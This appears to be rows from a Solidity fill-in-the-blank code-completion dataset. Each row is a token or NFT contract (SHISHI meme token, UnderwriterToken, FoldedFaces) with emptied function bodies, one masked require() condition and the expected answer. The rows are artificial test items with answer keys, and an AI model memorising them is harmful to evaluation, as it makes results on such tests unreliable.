"Maximum wallet limited has been exceeded" | // SPDX-License-Identifier: Unlicensed
/*
Ever dream this girl?
Website: https://shishi520.vip
Telegram: https://t.me/shishi_erc
Twitter: https://twitter.com/shishi_erc
*/
pragma solidity 0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
// Set original owner
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
// Return current owner
function owner() public view virtual returns (address) {
}
// Restrict function to contract owner only
modifier onlyOwner() {
}
// Renounce ownership of the contract
function renounceOwnership() public virtual onlyOwner {
}
// Transfer the contract to to a new owner
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract SHISHI is Context, IERC20, Ownable {
using SafeMath for uint256;
string private _name = "Shishi520";
string private _symbol = "SHISHI";
uint8 private _decimals = 9;
uint256 private _totalSupply = 10 ** 9 * 10**_decimals;
uint256 _maxWalletSize = 30 * _totalSupply / 1000;
uint256 _swapThresh = _totalSupply / 10000;
IUniswapV2Router02 _uniswapV2Router;
address _uniswapV2Pair;
bool _inSwapAndLiquify;
bool _swapEnabled = true;
uint256 _totalFee = 2100;
uint256 _buyFee = 21;
uint256 _sellFee = 21;
mapping (address => uint256) private _rOwnedBal;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) _excludedFromFee;
address payable _addressForFee = payable(0xEc77529bdE0540667713eB045cd0628DB22Af123);
address payable private DEAD = payable(0x000000000000000000000000000000000000dEaD);
uint256 _previousTotalFee = _totalFee;
uint256 _previousBuyFee = _buyFee;
uint256 _previousSellFee = _sellFee;
uint8 _countSHISHITx = 0;
uint8 _swapSHISHITrigger = 2;
modifier lockTheSwap {
}
constructor () {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _transferSHISHITokens(address sender, address recipient, uint256 tAmount) private {
}
function removeSHISHILimits() external onlyOwner {
}
function swapSHISHIAndLiquidify(uint256 contractTokenBalance) private lockTheSwap {
}
function swapSHISHIForETH(uint256 tokenAmount) private {
}
function _getSHISHIValues(uint256 tAmount) private view returns (uint256, uint256) {
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool _takeFee) private {
}
function _approve(address owner, address spender, uint256 amount) private {
}
receive() external payable {}
function removeAllSHISHIFee() private {
}
function restoreAllSHISHIFee() private {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function sendToSHISHIWallet(address payable wallet, uint256 amount) private {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
if (to != owner() &&
to != _addressForFee &&
to != address(this) &&
to != _uniswapV2Pair &&
to != DEAD &&
from != owner()){
uint256 holdBalance = balanceOf(to);
require(<FILL_ME>)
}
require(from != address(0) && to != address(0), "ERR: Using 0 address!");
require(amount > 0, "Token value must be higher than zero.");
if(_countSHISHITx >= _swapSHISHITrigger &&
amount > _swapThresh &&
!_inSwapAndLiquify &&
!_excludedFromFee[from] &&
to == _uniswapV2Pair &&
_swapEnabled )
{
_countSHISHITx = 0;
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0){
swapSHISHIAndLiquidify(contractTokenBalance);
}
}
bool _takeFee = true;
if(_excludedFromFee[from] || _excludedFromFee[to] || (from != _uniswapV2Pair && to != _uniswapV2Pair)){
_takeFee = false;
} else if (from == _uniswapV2Pair){
_totalFee = _buyFee;
} else if (to == _uniswapV2Pair){
_totalFee = _sellFee;
}
_tokenTransfer(from,to,amount,_takeFee);
}
}
| (holdBalance+amount)<=_maxWalletSize,"Maximum wallet limited has been exceeded" | 476,744 | (holdBalance+amount)<=_maxWalletSize |
"Maximum total supply exceeded" | // βββ ββ βββ ββββββββββββββββββββββββββββββ ββββββββββββββββββ ββββββββββββββββββ
// ββββββββββ ββββββββββββββββββββββββββββββ ββββββββββββββββββ βββββββββββββββββββ
// ββββββ ββββββββ βββββββ ββββββ ββββββ βββββ βββββββ βββββββ
// ββββββββββββββββ βββββββββββ ββββββββββ βββββββ βββββββ
// ββββββββββββββ βββββββββββ ββββββββββ βββββββββββββββββ
// βββββββββββββββ βββββββββββ ββββββββββ ββββββββββββββββ
// ββββββ ββββββββ βββββββ βββββ ββββββ βββββ βββββββ
// ββββββββββ ββββββββββ βββββββββββββββββββ ββββββββββββββββββ ββββββββββ
// ββββββββββ ββββββββββ βββββββββββββββββββ ββββββββββββββββββ ββββββββββ
//
// Trust math, not hardware.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
import "@thesis/solidity-contracts/contracts/token/ERC20WithPermit.sol";
import "@threshold-network/solidity-contracts/contracts/governance/Checkpoints.sol";
/// @title UnderwriterToken
/// @notice Underwriter tokens represent an ownership share in the underlying
/// collateral of the asset-specific pool. Underwriter tokens are minted
/// when a user deposits ERC20 tokens into asset-specific pool and they
/// are burned when a user exits the position. Underwriter tokens
/// natively support meta transactions. Users can authorize a transfer
/// of their underwriter tokens with a signature conforming EIP712
/// standard instead of an on-chain transaction from their address.
/// Anyone can submit this signature on the user's behalf by calling the
/// permit function, as specified in EIP2612 standard, paying gas fees,
/// and possibly performing other actions in the same transaction.
// slither-disable-next-line missing-inheritance
contract UnderwriterToken is ERC20WithPermit, Checkpoints {
/// @notice The EIP-712 typehash for the delegation struct used by
/// `delegateBySig`.
bytes32 public constant DELEGATION_TYPEHASH =
keccak256(
"Delegation(address delegatee,uint256 nonce,uint256 deadline)"
);
constructor(string memory _name, string memory _symbol)
ERC20WithPermit(_name, _symbol)
{}
/// @notice Delegates votes from signatory to `delegatee`
/// @param delegatee The address to delegate votes to
/// @param deadline The time at which to expire the signature
/// @param v The recovery byte of the signature
/// @param r Half of the ECDSA signature pair
/// @param s Half of the ECDSA signature pair
function delegateBySig(
address signatory,
address delegatee,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
}
/// @notice Delegate votes from `msg.sender` to `delegatee`.
/// @param delegatee The address to delegate votes to
function delegate(address delegatee) public virtual {
}
/// @notice Moves voting power when tokens are minted, burned or transferred.
/// @dev Overrides the empty function from the parent contract.
/// @param from The address that loses tokens and voting power
/// @param to The address that gains tokens and voting power
/// @param amount The amount of tokens and voting power that is transferred
// slither-disable-next-line dead-code
function beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal override {
// When minting:
if (from == address(0)) {
// Does not allow to mint more than uint96 can fit. Otherwise, the
// Checkpoint might not fit the balance.
require(<FILL_ME>)
writeCheckpoint(_totalSupplyCheckpoints, add, amount);
}
// When burning:
if (to == address(0)) {
writeCheckpoint(_totalSupplyCheckpoints, subtract, amount);
}
moveVotingPower(delegates(from), delegates(to), amount);
}
/// @notice Delegate votes from `delegator` to `delegatee`.
/// @param delegator The address to delegate votes from
/// @param delegatee The address to delegate votes to
function delegate(address delegator, address delegatee) internal override {
}
}
| totalSupply+amount<=maxSupply(),"Maximum total supply exceeded" | 476,827 | totalSupply+amount<=maxSupply() |
"not so fast!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "./AnonymiceLibrary.sol";
import "./ERC721sm.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract FoldedFaces is ERC721, Ownable {
/*
__ __ __ __ __ __
|__ | _| _ _| |__ _ _ _ _) / \ _) _)
|(_)|(_|(-(_| |(_|(_(-_) /__ \__/ /__ /__ ,
__
|_ / _ _ _ | . _ |_ |_
|_)\/ \__)(-| )|__|(_)| )|_ .
*/
using AnonymiceLibrary for uint8;
struct Trait {
string traitName;
string traitType;
}
struct HashNeeds {
uint16 startHash;
uint16 startNonce;
}
//Mappings
mapping(uint256 => Trait[]) public traitTypes;
mapping(address => uint256) private lastWrite;
//Mint Checks
mapping(address => bool) addressWhitelistMinted;
mapping(address => bool) contributorMints;
uint256 public contributorCount = 0;
uint256 public regularCount = 0;
//uint256s
uint256 public constant MAX_SUPPLY = 533;
uint256 public constant WL_MINT_COST = 0.03 ether;
uint256 public constant PUBLIC_MINT_COST = 0.05 ether;
//public mint start timestamp
uint256 public constant PUBLIC_START_TIME = 1653525000;
mapping(uint256 => HashNeeds) tokenIdToHashNeeds;
uint16 SEED_NONCE = 0;
//minting flag
bool ogMinted = false;
bool public MINTING_LIVE = false;
//uint arrays
uint16[][8] TIERS;
//p5js url
string p5jsUrl;
string p5jsIntegrity;
string imageUrl;
string animationUrl;
//stillSnowCrash
bytes32 constant whitelistRoot =
0x358899790e0e071faed348a1b72ef18efe59029543a4a4da16e13fa2abf2a578;
constructor() payable ERC721("FoldedFaces", "FFACE") {
}
//prevents someone calling read functions the same block they mint
modifier disallowIfStateIsChanging() {
require(<FILL_ME>)
_;
}
/*
__ __ __ __ __ ______ __ __ __ ______
/\ "-./ \ /\ \ /\ "-.\ \ /\__ _\ /\ \ /\ "-.\ \ /\ ___\
\ \ \-./\ \ \ \ \ \ \ \-. \ \/_/\ \/ \ \ \ \ \ \-. \ \ \ \__ \
\ \_\ \ \_\ \ \_\ \ \_\\"\_\ \ \_\ \ \_\ \ \_\\"\_\ \ \_____\
\/_/ \/_/ \/_/ \/_/ \/_/ \/_/ \/_/ \/_/ \/_/ \/_____/
*/
/**
* @dev Converts a digit from 0 - 10000 into its corresponding rarity based on the given rarity tier.
* @param _randinput The input from 0 - 10000 to use for rarity gen.
* @param _rarityTier The tier to use.
*/
function rarityGen(uint256 _randinput, uint8 _rarityTier)
internal
view
returns (uint8)
{
}
/**
* @param _a The address to be used within the hash.
*/
function hash(address _a) internal view returns (uint16) {
}
/**
* @dev Mint internal, this is to avoid code duplication.
*/
function mintInternal() internal {
}
function mintOgBatch(address[] memory _addresses)
external
payable
onlyOwner
{
}
/**
* @dev Mints new tokens.
*/
function mintWLFoldedFaces(address account, bytes32[] calldata merkleProof)
external
payable
{
}
function mintPublicFoldedFaces() external payable {
}
function mintCircolorsContributor() external {
}
/*
______ ______ ______ _____ __ __ __ ______
/\ == \ /\ ___\ /\ __ \ /\ __-. /\ \ /\ "-.\ \ /\ ___\
\ \ __< \ \ __\ \ \ __ \ \ \ \/\ \ \ \ \ \ \ \-. \ \ \ \__ \
\ \_\ \_\ \ \_____\ \ \_\ \_\ \ \____- \ \_\ \ \_\\"\_\ \ \_____\
\/_/ /_/ \/_____/ \/_/\/_/ \/____/ \/_/ \/_/ \/_/ \/_____/
*/
function buildHash(uint256 _t) internal view returns (string memory) {
}
/**
* @dev Hash to HTML function
*/
function hashToHTML(string memory _hash, uint256 _tokenId)
external
view
disallowIfStateIsChanging
returns (string memory)
{
}
function totalSupply() public view returns (uint256) {
}
/**
* @dev Hash to metadata function
*/
function hashToMetadata(string memory _hash)
public
view
disallowIfStateIsChanging
returns (string memory)
{
}
/**
* @dev Returns the image and metadata for a token Id
* @param _tokenId The tokenId to return the image and metadata for.
*/
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
/**
* @dev Returns a hash for a given tokenId
* @param _tokenId The tokenId to return the hash for.
*/
function _tokenIdToHash(uint256 _tokenId)
public
view
disallowIfStateIsChanging
returns (string memory)
{
}
/*
______ __ __ __ __ ______ ______
/\ __ \ /\ \ _ \ \ /\ "-.\ \ /\ ___\ /\ == \
\ \ \/\ \ \ \ \/ ".\ \ \ \ \-. \ \ \ __\ \ \ __<
\ \_____\ \ \__/".~\_\ \ \_\\"\_\ \ \_____\ \ \_\ \_\
\/_____/ \/_/ \/_/ \/_/ \/_/ \/_____/ \/_/ /_/
/**
* @dev Add a trait type
* @param _traitTypeIndex The trait type index
* @param traits Array of traits to add
*/
function addTraitType(uint256 _traitTypeIndex, Trait[] memory traits)
external
payable
onlyOwner
{
}
function addContributorMint(address _account) external payable onlyOwner {
}
function flipMintingSwitch() external payable onlyOwner {
}
/**
* @dev Sets the p5js url
* @param _p5jsUrl The address of the p5js file hosted on CDN
*/
function setJsAddress(string memory _p5jsUrl) external payable onlyOwner {
}
/**
* @dev Sets the p5js resource integrity
* @param _p5jsIntegrity The hash of the p5js file (to protect w subresource integrity)
*/
function setJsIntegrity(string memory _p5jsIntegrity)
external
payable
onlyOwner
{
}
/**
* @dev Sets the base image url
* @param _imageUrl The base url for image field
*/
function setImageUrl(string memory _imageUrl) external payable onlyOwner {
}
function setAnimationUrl(string memory _animationUrl)
external
payable
onlyOwner
{
}
function withdraw() external payable onlyOwner {
}
}
| owner()==msg.sender||lastWrite[msg.sender]<block.number,"not so fast!" | 476,997 | owner()==msg.sender||lastWrite[msg.sender]<block.number |
"Not on WL" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "./AnonymiceLibrary.sol";
import "./ERC721sm.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract FoldedFaces is ERC721, Ownable {
/*
__ __ __ __ __ __
|__ | _| _ _| |__ _ _ _ _) / \ _) _)
|(_)|(_|(-(_| |(_|(_(-_) /__ \__/ /__ /__ ,
__
|_ / _ _ _ | . _ |_ |_
|_)\/ \__)(-| )|__|(_)| )|_ .
*/
using AnonymiceLibrary for uint8;
struct Trait {
string traitName;
string traitType;
}
struct HashNeeds {
uint16 startHash;
uint16 startNonce;
}
//Mappings
mapping(uint256 => Trait[]) public traitTypes;
mapping(address => uint256) private lastWrite;
//Mint Checks
mapping(address => bool) addressWhitelistMinted;
mapping(address => bool) contributorMints;
uint256 public contributorCount = 0;
uint256 public regularCount = 0;
//uint256s
uint256 public constant MAX_SUPPLY = 533;
uint256 public constant WL_MINT_COST = 0.03 ether;
uint256 public constant PUBLIC_MINT_COST = 0.05 ether;
//public mint start timestamp
uint256 public constant PUBLIC_START_TIME = 1653525000;
mapping(uint256 => HashNeeds) tokenIdToHashNeeds;
uint16 SEED_NONCE = 0;
//minting flag
bool ogMinted = false;
bool public MINTING_LIVE = false;
//uint arrays
uint16[][8] TIERS;
//p5js url
string p5jsUrl;
string p5jsIntegrity;
string imageUrl;
string animationUrl;
//stillSnowCrash
bytes32 constant whitelistRoot =
0x358899790e0e071faed348a1b72ef18efe59029543a4a4da16e13fa2abf2a578;
constructor() payable ERC721("FoldedFaces", "FFACE") {
}
//prevents someone calling read functions the same block they mint
modifier disallowIfStateIsChanging() {
}
/*
__ __ __ __ __ ______ __ __ __ ______
/\ "-./ \ /\ \ /\ "-.\ \ /\__ _\ /\ \ /\ "-.\ \ /\ ___\
\ \ \-./\ \ \ \ \ \ \ \-. \ \/_/\ \/ \ \ \ \ \ \-. \ \ \ \__ \
\ \_\ \ \_\ \ \_\ \ \_\\"\_\ \ \_\ \ \_\ \ \_\\"\_\ \ \_____\
\/_/ \/_/ \/_/ \/_/ \/_/ \/_/ \/_/ \/_/ \/_/ \/_____/
*/
/**
* @dev Converts a digit from 0 - 10000 into its corresponding rarity based on the given rarity tier.
* @param _randinput The input from 0 - 10000 to use for rarity gen.
* @param _rarityTier The tier to use.
*/
function rarityGen(uint256 _randinput, uint8 _rarityTier)
internal
view
returns (uint8)
{
}
/**
* @param _a The address to be used within the hash.
*/
function hash(address _a) internal view returns (uint16) {
}
/**
* @dev Mint internal, this is to avoid code duplication.
*/
function mintInternal() internal {
}
function mintOgBatch(address[] memory _addresses)
external
payable
onlyOwner
{
}
/**
* @dev Mints new tokens.
*/
function mintWLFoldedFaces(address account, bytes32[] calldata merkleProof)
external
payable
{
bytes32 node = keccak256(abi.encodePacked(account));
require(<FILL_ME>)
require(account == msg.sender, "Self mint only");
require(msg.value == WL_MINT_COST, "Insufficient ETH sent");
require(
addressWhitelistMinted[msg.sender] != true,
"Address already minted WL"
);
addressWhitelistMinted[msg.sender] = true;
++regularCount;
return mintInternal();
}
function mintPublicFoldedFaces() external payable {
}
function mintCircolorsContributor() external {
}
/*
______ ______ ______ _____ __ __ __ ______
/\ == \ /\ ___\ /\ __ \ /\ __-. /\ \ /\ "-.\ \ /\ ___\
\ \ __< \ \ __\ \ \ __ \ \ \ \/\ \ \ \ \ \ \ \-. \ \ \ \__ \
\ \_\ \_\ \ \_____\ \ \_\ \_\ \ \____- \ \_\ \ \_\\"\_\ \ \_____\
\/_/ /_/ \/_____/ \/_/\/_/ \/____/ \/_/ \/_/ \/_/ \/_____/
*/
function buildHash(uint256 _t) internal view returns (string memory) {
}
/**
* @dev Hash to HTML function
*/
function hashToHTML(string memory _hash, uint256 _tokenId)
external
view
disallowIfStateIsChanging
returns (string memory)
{
}
function totalSupply() public view returns (uint256) {
}
/**
* @dev Hash to metadata function
*/
function hashToMetadata(string memory _hash)
public
view
disallowIfStateIsChanging
returns (string memory)
{
}
/**
* @dev Returns the image and metadata for a token Id
* @param _tokenId The tokenId to return the image and metadata for.
*/
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
/**
* @dev Returns a hash for a given tokenId
* @param _tokenId The tokenId to return the hash for.
*/
function _tokenIdToHash(uint256 _tokenId)
public
view
disallowIfStateIsChanging
returns (string memory)
{
}
/*
______ __ __ __ __ ______ ______
/\ __ \ /\ \ _ \ \ /\ "-.\ \ /\ ___\ /\ == \
\ \ \/\ \ \ \ \/ ".\ \ \ \ \-. \ \ \ __\ \ \ __<
\ \_____\ \ \__/".~\_\ \ \_\\"\_\ \ \_____\ \ \_\ \_\
\/_____/ \/_/ \/_/ \/_/ \/_/ \/_____/ \/_/ /_/
/**
* @dev Add a trait type
* @param _traitTypeIndex The trait type index
* @param traits Array of traits to add
*/
function addTraitType(uint256 _traitTypeIndex, Trait[] memory traits)
external
payable
onlyOwner
{
}
function addContributorMint(address _account) external payable onlyOwner {
}
function flipMintingSwitch() external payable onlyOwner {
}
/**
* @dev Sets the p5js url
* @param _p5jsUrl The address of the p5js file hosted on CDN
*/
function setJsAddress(string memory _p5jsUrl) external payable onlyOwner {
}
/**
* @dev Sets the p5js resource integrity
* @param _p5jsIntegrity The hash of the p5js file (to protect w subresource integrity)
*/
function setJsIntegrity(string memory _p5jsIntegrity)
external
payable
onlyOwner
{
}
/**
* @dev Sets the base image url
* @param _imageUrl The base url for image field
*/
function setImageUrl(string memory _imageUrl) external payable onlyOwner {
}
function setAnimationUrl(string memory _animationUrl)
external
payable
onlyOwner
{
}
function withdraw() external payable onlyOwner {
}
}
| MerkleProof.verify(merkleProof,whitelistRoot,node),"Not on WL" | 476,997 | MerkleProof.verify(merkleProof,whitelistRoot,node) |
"Address already minted WL" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "./AnonymiceLibrary.sol";
import "./ERC721sm.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract FoldedFaces is ERC721, Ownable {
/*
__ __ __ __ __ __
|__ | _| _ _| |__ _ _ _ _) / \ _) _)
|(_)|(_|(-(_| |(_|(_(-_) /__ \__/ /__ /__ ,
__
|_ / _ _ _ | . _ |_ |_
|_)\/ \__)(-| )|__|(_)| )|_ .
*/
using AnonymiceLibrary for uint8;
struct Trait {
string traitName;
string traitType;
}
struct HashNeeds {
uint16 startHash;
uint16 startNonce;
}
//Mappings
mapping(uint256 => Trait[]) public traitTypes;
mapping(address => uint256) private lastWrite;
//Mint Checks
mapping(address => bool) addressWhitelistMinted;
mapping(address => bool) contributorMints;
uint256 public contributorCount = 0;
uint256 public regularCount = 0;
//uint256s
uint256 public constant MAX_SUPPLY = 533;
uint256 public constant WL_MINT_COST = 0.03 ether;
uint256 public constant PUBLIC_MINT_COST = 0.05 ether;
//public mint start timestamp
uint256 public constant PUBLIC_START_TIME = 1653525000;
mapping(uint256 => HashNeeds) tokenIdToHashNeeds;
uint16 SEED_NONCE = 0;
//minting flag
bool ogMinted = false;
bool public MINTING_LIVE = false;
//uint arrays
uint16[][8] TIERS;
//p5js url
string p5jsUrl;
string p5jsIntegrity;
string imageUrl;
string animationUrl;
//stillSnowCrash
bytes32 constant whitelistRoot =
0x358899790e0e071faed348a1b72ef18efe59029543a4a4da16e13fa2abf2a578;
constructor() payable ERC721("FoldedFaces", "FFACE") {
}
//prevents someone calling read functions the same block they mint
modifier disallowIfStateIsChanging() {
}
/*
__ __ __ __ __ ______ __ __ __ ______
/\ "-./ \ /\ \ /\ "-.\ \ /\__ _\ /\ \ /\ "-.\ \ /\ ___\
\ \ \-./\ \ \ \ \ \ \ \-. \ \/_/\ \/ \ \ \ \ \ \-. \ \ \ \__ \
\ \_\ \ \_\ \ \_\ \ \_\\"\_\ \ \_\ \ \_\ \ \_\\"\_\ \ \_____\
\/_/ \/_/ \/_/ \/_/ \/_/ \/_/ \/_/ \/_/ \/_/ \/_____/
*/
/**
* @dev Converts a digit from 0 - 10000 into its corresponding rarity based on the given rarity tier.
* @param _randinput The input from 0 - 10000 to use for rarity gen.
* @param _rarityTier The tier to use.
*/
function rarityGen(uint256 _randinput, uint8 _rarityTier)
internal
view
returns (uint8)
{
}
/**
* @param _a The address to be used within the hash.
*/
function hash(address _a) internal view returns (uint16) {
}
/**
* @dev Mint internal, this is to avoid code duplication.
*/
function mintInternal() internal {
}
function mintOgBatch(address[] memory _addresses)
external
payable
onlyOwner
{
}
/**
* @dev Mints new tokens.
*/
function mintWLFoldedFaces(address account, bytes32[] calldata merkleProof)
external
payable
{
bytes32 node = keccak256(abi.encodePacked(account));
require(
MerkleProof.verify(merkleProof, whitelistRoot, node),
"Not on WL"
);
require(account == msg.sender, "Self mint only");
require(msg.value == WL_MINT_COST, "Insufficient ETH sent");
require(<FILL_ME>)
addressWhitelistMinted[msg.sender] = true;
++regularCount;
return mintInternal();
}
function mintPublicFoldedFaces() external payable {
}
function mintCircolorsContributor() external {
}
/*
______ ______ ______ _____ __ __ __ ______
/\ == \ /\ ___\ /\ __ \ /\ __-. /\ \ /\ "-.\ \ /\ ___\
\ \ __< \ \ __\ \ \ __ \ \ \ \/\ \ \ \ \ \ \ \-. \ \ \ \__ \
\ \_\ \_\ \ \_____\ \ \_\ \_\ \ \____- \ \_\ \ \_\\"\_\ \ \_____\
\/_/ /_/ \/_____/ \/_/\/_/ \/____/ \/_/ \/_/ \/_/ \/_____/
*/
function buildHash(uint256 _t) internal view returns (string memory) {
}
/**
* @dev Hash to HTML function
*/
function hashToHTML(string memory _hash, uint256 _tokenId)
external
view
disallowIfStateIsChanging
returns (string memory)
{
}
function totalSupply() public view returns (uint256) {
}
/**
* @dev Hash to metadata function
*/
function hashToMetadata(string memory _hash)
public
view
disallowIfStateIsChanging
returns (string memory)
{
}
/**
* @dev Returns the image and metadata for a token Id
* @param _tokenId The tokenId to return the image and metadata for.
*/
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
/**
* @dev Returns a hash for a given tokenId
* @param _tokenId The tokenId to return the hash for.
*/
function _tokenIdToHash(uint256 _tokenId)
public
view
disallowIfStateIsChanging
returns (string memory)
{
}
/*
______ __ __ __ __ ______ ______
/\ __ \ /\ \ _ \ \ /\ "-.\ \ /\ ___\ /\ == \
\ \ \/\ \ \ \ \/ ".\ \ \ \ \-. \ \ \ __\ \ \ __<
\ \_____\ \ \__/".~\_\ \ \_\\"\_\ \ \_____\ \ \_\ \_\
\/_____/ \/_/ \/_/ \/_/ \/_/ \/_____/ \/_/ /_/
/**
* @dev Add a trait type
* @param _traitTypeIndex The trait type index
* @param traits Array of traits to add
*/
function addTraitType(uint256 _traitTypeIndex, Trait[] memory traits)
external
payable
onlyOwner
{
}
function addContributorMint(address _account) external payable onlyOwner {
}
function flipMintingSwitch() external payable onlyOwner {
}
/**
* @dev Sets the p5js url
* @param _p5jsUrl The address of the p5js file hosted on CDN
*/
function setJsAddress(string memory _p5jsUrl) external payable onlyOwner {
}
/**
* @dev Sets the p5js resource integrity
* @param _p5jsIntegrity The hash of the p5js file (to protect w subresource integrity)
*/
function setJsIntegrity(string memory _p5jsIntegrity)
external
payable
onlyOwner
{
}
/**
* @dev Sets the base image url
* @param _imageUrl The base url for image field
*/
function setImageUrl(string memory _imageUrl) external payable onlyOwner {
}
function setAnimationUrl(string memory _animationUrl)
external
payable
onlyOwner
{
}
function withdraw() external payable onlyOwner {
}
}
| addressWhitelistMinted[msg.sender]!=true,"Address already minted WL" | 476,997 | addressWhitelistMinted[msg.sender]!=true |
Subsets and Splits